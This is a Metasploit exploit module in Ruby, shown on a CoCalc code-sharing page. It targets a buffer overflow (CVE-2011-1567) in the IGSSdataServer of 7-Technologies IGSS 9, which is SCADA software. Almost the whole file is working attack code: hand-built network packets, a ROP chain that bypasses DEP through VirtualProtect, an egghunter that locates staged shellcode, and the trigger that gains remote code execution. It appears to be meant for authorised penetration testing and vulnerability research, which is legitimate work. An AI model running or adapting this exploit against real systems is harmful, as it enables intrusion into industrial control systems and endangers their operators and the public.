Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/scada/igss9_igssdataserver_rename.rb
19715 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::Remote::Egghunter
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => "7-Technologies IGSS 9 IGSSdataServer .RMS Rename Buffer Overflow",
17
'Description' => %q{
18
This module exploits a vulnerability found on 7-Technologies IGSS 9. By supplying
19
a long string of data to the 'Rename' (0x02), 'Delete' (0x03), or 'Add' (0x04) command,
20
a buffer overflow condition occurs in IGSSdataServer.exe while handing an RMS report,
21
which results arbitrary code execution under the context of the user.
22
23
The attack is carried out in three stages. The first stage sends the final payload to
24
IGSSdataServer.exe, which will remain in memory. The second stage sends the Add command
25
so the process can find a valid ID for the Rename command. The last stage then triggers
26
the vulnerability with the Rename command, and uses an egghunter to search for the
27
shellcode that we sent in stage 1. The use of egghunter appears to be necessary due to
28
the small buffer size, which cannot even contain our ROP chain and the final payload.
29
},
30
'License' => MSF_LICENSE,
31
'Author' => [
32
'Luigi Auriemma <aluigi[at]autistici.org>', # Initial discovery, poc
33
'sinn3r', # Metasploit
34
],
35
'References' => [
36
['CVE', '2011-1567'],
37
['OSVDB', '72352'],
38
['URL', 'http://aluigi.altervista.org/adv/igss_5-adv.txt'],
39
['URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-11-132-01A']
40
],
41
'Payload' => {
42
'BadChars' => "\x00",
43
'StackAdjustment' => -3500,
44
},
45
'DefaultOptions' => {
46
'EXITFUNC' => "seh",
47
},
48
'Platform' => 'win',
49
'Targets' => [
50
[
51
'Windows XP SP3',
52
{
53
'Ret' => 0x1B0938B8, # ADD ESP,910; RETN 10 MSJET40.dll
54
'RopOffset' => 68, # Offset to the ROP chain
55
'Offset' => 500, # Offset to SE Handler (stack pivot)
56
'Max' => 8000, # Max buffer size
57
}
58
],
59
[
60
'Windows Server 2003 SP2/R2 SP2',
61
{
62
'Ret' => 0x1B093622, # ADD ESP,910; RETN 10 MSJET40.dll
63
'RopOffset' => 76, # Offset to the ROP chain
64
'Offset' => 500, # Offset to SE Handler (stack pivot)
65
'Max' => 8000, # Max buffer size
66
}
67
]
68
],
69
'Privileged' => false,
70
'DisclosureDate' => '2011-03-24',
71
'Notes' => {
72
'Reliability' => UNKNOWN_RELIABILITY,
73
'Stability' => UNKNOWN_STABILITY,
74
'SideEffects' => UNKNOWN_SIDE_EFFECTS
75
}
76
)
77
)
78
79
register_options(
80
[
81
Opt::RPORT(12401, false),
82
]
83
)
84
end
85
86
# We need to send the Add command first, so that IGSSdataServer.exe can find the 'ID' before
87
# triggering the vulnerable code path we're trying to hit. Without this, we'll just hit
88
# "FAILED renameDicRec. ID not found %s" (logText function).
89
def add_template(id)
90
buf = ''
91
buf << "\x9b\x00" # Packet size
92
buf << "\x01\x00\x34\x12"
93
buf << "\x07" # Opcode
94
buf << "\x00\x00\x00\x00\x00\x00\x00"
95
buf << "\x01" # Flag
96
buf << "\x00\x00\x00"
97
buf << "\x04" # Command (add)
98
buf << "\x00\x00\x00"
99
buf << id
100
buf << "\x00"
101
buf << "\x00" * 31
102
buf << "\x78"
103
buf << "\x00" * 63
104
buf << "\x78"
105
buf << "\x00" * 28
106
107
connect
108
109
sock.put(buf)
110
111
print_status("Sending ADD command to #{datastore['RHOST']}")
112
res = sock.recv(1024)
113
114
disconnect
115
116
return res
117
end
118
119
# Since we don't have a lot of space on the stack when we trigger the overflow, we send a
120
# separate packet that contains our final payload, and let egghunter look for it later in memory
121
def inject_payload(my_payload)
122
buf = ''
123
buf << "\x01\x00\x34\x12"
124
buf << "\x0D" # Opcode
125
buf << "\x00\x00\x00\x00\x00\x00\x00"
126
buf << "\x01" # Flag
127
buf << "\x00\x00\x00"
128
buf << "\x01" # Command (ListAll)
129
buf << "\x00\x00\x00"
130
buf << my_payload
131
buf << Rex::Text.rand_text_alpha(1024 - my_payload.length)
132
buf << "\x00" * 130
133
134
# Packet size
135
buf_size = [buf.length + 2].pack('v')
136
buf = buf_size + buf
137
138
connect
139
140
sock.put(buf)
141
print_status("Injecting payload in memory to #{datastore['RHOST']}")
142
143
disconnect
144
end
145
146
# It's definitely junk
147
def junk
148
return rand_text(4).unpack("L")[0].to_i
149
end
150
151
def sploit_rename(id)
152
# Egghunter is used because we don't really have a lot of space on the stack
153
# to fit the ROP chain and a larger payload
154
eggoptions =
155
{
156
:checksum => true,
157
:eggtag => 'W00T',
158
:depmethod => 'virtualprotect',
159
:depreg => 'esi'
160
}
161
162
hunter, p = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
163
164
# depreg (Put VirtualProtect in ESI)
165
esi = "\x81\xf6\x16\x1b\x5f\x5e" # XOR ESI, 0x5E5F1B16
166
esi << "\x3e\x8b\x36" # MOV ESI, DWORD PTR DS:[ESI]
167
168
# Put depreg alignment
169
hunter = esi + hunter
170
171
# Send final payload first, and let egghunter look for it
172
inject_payload(p)
173
174
# Max ROP chain size we can use is 406 bytes
175
rop = [
176
:xchg_esp_ebp,
177
# 0x59ABA24B, #PUSH ESP # POP EBP # RETN [dbghelp.dll]
178
junk,
179
junk,
180
junk,
181
junk,
182
0x1B76A59E, # XCHG EAX,EBP # RETN [dao360.dll]
183
0x1B8260DD, # ADD EAX,20 # RETN [msjtes40.dll]
184
:add_eax_100,
185
# 0x1B09FA13, #ADD EAX,100 # RETN 0C [MSJET40.DLL]
186
187
# VirtualProtect Argument ([0x540214])
188
:xchg_eax_ecx,
189
junk,
190
junk,
191
junk,
192
:pop_eax,
193
0x3BABFD6D, # 0x3BABFD6D xor 0x3BFFFF79
194
0x1B7802A3, # XOR EAX,3BFFFF79 # RETN [dao360.dll]
195
0x1b73f3bd, # MOV EAX,DWORD PTR DS:[EAX] # RETN [dao360.dll]
196
:xchg_eax_ecx,
197
0x1B829E75, # MOV DWORD PTR DS:[EAX],ECX # RETN [msjtes40.dll]
198
0x1B74C50A, # ADD EAX,4 # RETN [dao360.dll]
199
200
# Retn:
201
:xchg_eax_esi,
202
# 0x1B0505C1, #PUSH EAX # POP ESI # RETN 4 [MSJET40.DLL]
203
0x1B8260DD, # ADD EAX,20 # RETN [Module : msjtes40.dll]
204
junk,
205
0x1B8260DD, # ADD EAX,20 # RETN [msjtes40.dll]
206
0x1B8260DD, # ADD EAX,20 # RETN [msjtes40.dll]
207
0x1B8260DD, # ADD EAX,20 # RETN [msjtes40.dll]
208
:xchg_eax_ecx,
209
:mov_eax_esi_pop_esi,
210
# 0x1B03AD44, #MOV EAX,ESI # POP ESI # RETN [MSJET40.DLL]
211
0x5E0B1902, # :depreg initial value to xor
212
0x1B829E75, # MOV DWORD PTR DS:[EAX],ECX # RETN [msjtes40.dll]
213
0x1B74C50A, # ADD EAX,4 # RETN [dao360.dll]
214
215
# Shellcode:
216
0x1B829E75, # MOV DWORD PTR DS:[EAX],ECX # RETN [msjtes40.dll]
217
0x1B74C50A, # ADD EAX,4 # RETN [dao360.dll]
218
219
# Size (100 bytes -- enough for egghunter)
220
:xchg_eax_ecx,
221
:pop_eax,
222
:size_xor,
223
0x1B7802A3, # XOR EAX,3BFFFF79 # RETN [dao360.dll]
224
:xchg_eax_ecx,
225
0x1B829E75, # MOV DWORD PTR DS:[EAX],ECX # RETN [msjtes40.dll]
226
0x1B74C50A, # ADD EAX,4 # RETN [dao360.dll]
227
228
# newProtect (0x40):
229
:xchg_eax_ecx,
230
:pop_eax,
231
0x3BFFFF39, # 0x3BFFFF39 xor 0x3BFFFF79
232
0x1B7802A3, # XOR EAX,3BFFFF79 # RETN [dao360.dll]
233
:xchg_eax_ecx,
234
0x1B829E75, # MOV DWORD PTR DS:[EAX],ECX # RETN [msjtes40.dll]
235
0x1B74C50A, # ADD EAX,4 # RETN [dao360.dll]
236
237
# oldProtect
238
0x1B731395, # POP ECX # RETN [dao360.dll]
239
0x1B82B410, # .data section (WR) in msjtes40.dll
240
0x1B829E75, # MOV DWORD PTR DS:[EAX],ECX # RETN [msjtes40.dll]
241
242
# Align the rewind part
243
0x1B829E86, # ADD EAX,0C # RETN [msjtes40.dll]
244
245
# Rewind
246
:rewind,
247
248
# Execute
249
0x1B72A833, # XCHG EAX,ESP # RETN [dao360.dll]
250
]
251
252
# OS specific gadgets
253
rop.map! do |gadget|
254
if gadget == :xchg_esp_ebp
255
(target.name =~ /xp/i) ? 0x59ABA24B : 0x6D5E2223
256
elsif gadget == :add_eax_100
257
(target.name =~ /xp/i) ? 0x1B09FA13 : 0x1B09F6F3
258
elsif gadget == :xchg_eax_esi
259
(target.name =~ /xp/i) ? 0x1B0505C1 : 0x1B051B71
260
elsif gadget == :xchg_eax_ecx
261
(target.name =~ /xp/i) ? 0x1B02708C : 0x1B02B28D
262
elsif gadget == :mov_eax_esi_pop_esi
263
(target.name =~ /xp/i) ? 0x1B03AD44 : 0x1B110735
264
elsif gadget == :pop_eax
265
(target.name =~ /xp/i) ? 0x1B0C65B6 : 0x1B0c6169
266
elsif gadget == :size_xor
267
(target.name =~ /xp/i) ? 0x3BFFFF01 : 0x3BFFFF1D
268
elsif gadget == :rewind
269
(target.name =~ /xp/i) ? 0x1B03D70A : 0x1B03C741
270
else
271
gadget
272
end
273
end
274
275
rop = rop.pack('V*')
276
277
sploit = ''
278
sploit << Rex::Text.rand_text_alpha(target['RopOffset'])
279
sploit << rop
280
sploit << Rex::Text.rand_text_alpha(target['Offset'] - sploit.length)
281
sploit << [target.ret].pack('V') # Pivot
282
sploit << make_nops(12) # Padding
283
sploit << hunter
284
sploit << Rex::Text.rand_text_alpha(target['Max'] - sploit.length)
285
286
# Create the packet with our naughty payload
287
pkt = "\x00\x04" # Funky size causes overflow
288
pkt << "\x01\x00\x34\x12"
289
pkt << "\x07" # Opcode
290
pkt << "\x00\x00\x00\x00\x00\x00\x00"
291
pkt << "\x02" # Flag
292
pkt << "\x00\x00\x00"
293
pkt << "\x02" # Command
294
pkt << "\x00\x00\x00"
295
pkt << id
296
pkt << "\x00"
297
pkt << sploit
298
299
connect
300
301
print_status("Sending malicious request to #{datastore['RHOST']}")
302
sock.put(pkt)
303
304
handler
305
306
# egghunter takes a few seconds, wait a bit before disconnect
307
select(nil, nil, nil, 3)
308
disconnect
309
end
310
311
def exploit
312
id = Rex::Text.rand_text_alpha(8)
313
314
res = add_template(id)
315
if res !~ /Report/i
316
print_error("Failed to add template:#{res}")
317
return
318
end
319
320
sploit_rename(id)
321
end
322
end
323
324